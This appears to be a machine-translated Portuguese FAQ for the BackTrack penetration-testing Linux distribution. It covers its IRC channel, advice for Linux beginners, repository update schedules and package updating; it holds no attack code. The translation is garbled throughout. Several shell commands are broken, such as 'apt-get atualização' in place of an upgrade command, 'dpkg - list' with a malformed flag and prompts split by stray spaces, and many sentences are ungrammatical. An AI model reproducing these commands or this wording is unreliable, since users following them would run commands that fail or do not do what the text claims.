Se você gostaria de fazer parte da comunidade e contribuir, visite-nos em irc.freenode.net , no canal # backtrack-linux . Nosso site vai continuar a ser a principal fonte para todas as notícias e atualizações sobre BackTrack. Certifiquese de ver as nossas regras do canal ler o tópico do canal e lembrar que você precisa ser registrado para falar. Importante: root (* raiz * @ *) é proibido por padrão neste canal, por isso, garantir que você configure seu cliente de irc de forma adequada.
Eu sou novo no linux, é BackTrack um bom lugar para começar? Desculpe, a resposta simples para isso é não. BackTrack é uma distribuição altamente especializado, onde um monte de tarefas normais não são feitas automaticamente para você como eles estão em uma distro mainstream. Nosso melhor conselho que se você deseja começar usando linux com BackTrack como seu primeiro sistema operacional linux, é não. Comece fazendo o download de uma cópia do Kubuntu (como é um sistema operacional semelhante base para BackTrack) de inicialização em que e se forçar a fazer tudo o que você está acostumado a fazer em uma base diária com que, de preferência gastando a maior parte do seu tempo usando o comando ferramentas de linha. Quando e somente quando é possível realizar todas essas tarefas diárias sem ter que olhar-se os comandos que você deve mudar para BackTrack. Por favor, não tome isso como nós dizendo que você não deve usar BackTrack, tomá-lo como conselho de amigo que você está deixando-se em um mundo de dor e frustração, se você não está totalmente confortável administração realização de sua própria máquina linux antes de começar com Backtrack.
Acabo de baixado e instalado a última versão do Backtrack, que eu ainda preciso atualizar? Apesar de ter baixado a versão mais recente do iso ou VM, isso não significa que você terá os mais recentes pacotes que disponibilizamos.BackTrack é desenvolvido e atualizado em uma base contínua, e por isso você ainda deve atualizar sua instalação em intervalos regulares para manter-se atualizado com os últimos pacotes, correções de bugs e novas ferramentas.
Quando e com que freqüência você atualizar o repo BackTrack com novos pacotes? Geralmente o repo BackTrack é atualizado com as semanas novos pacotes na noite de domingo à noite para que eles estão disponíveis para você na manhã de segunda-feira. Há tempos no entanto quando sentimos que um pacote precisa ser liberado de imediato ao invés de esperar até a próxima agendada domingo repo de atualização. Então, nestes casos, a atualização repo pode acontecer a qualquer hora do dia ou da noite durante a semana. Por favor, note que, enquanto o repo está sendo sincronizado, ele não estará disponível para download de pacotes. Este processo não leva muito tempo por isso vai ser raro que isso para fazer com que qualquer um de vocês mais do que um período muito curto de indisponibilidade.
Como faço para atualizar o Backtrack com os novos pacotes? Primeiro, verifique se você tem uma conexão de internet, então use os seguintes comandos root @ bt: ~ # apt-get update root @ bt: ~ # apt-get atualização
Opcionalmente, você pode executar root @ bt: ~ # apt-get update
root @ bt: ~ # apt-get dist-upgrade
Onde posso encontrar uma lista completa de todas as ferramentas instaladas no BackTrack? Nenhum recurso existe atualmente, porém você pode ver uma lista de todos os pacotes instalados em seu sistema BackTrack executando: dpkg - list
Lembre-se que isto irá listar todos os pacotes instalados no BackTrack e não apenas as ferramentas Você também pode pesquisar o repositório de um pacote de interesse particular, executando o seguinte comando: apt-cache search
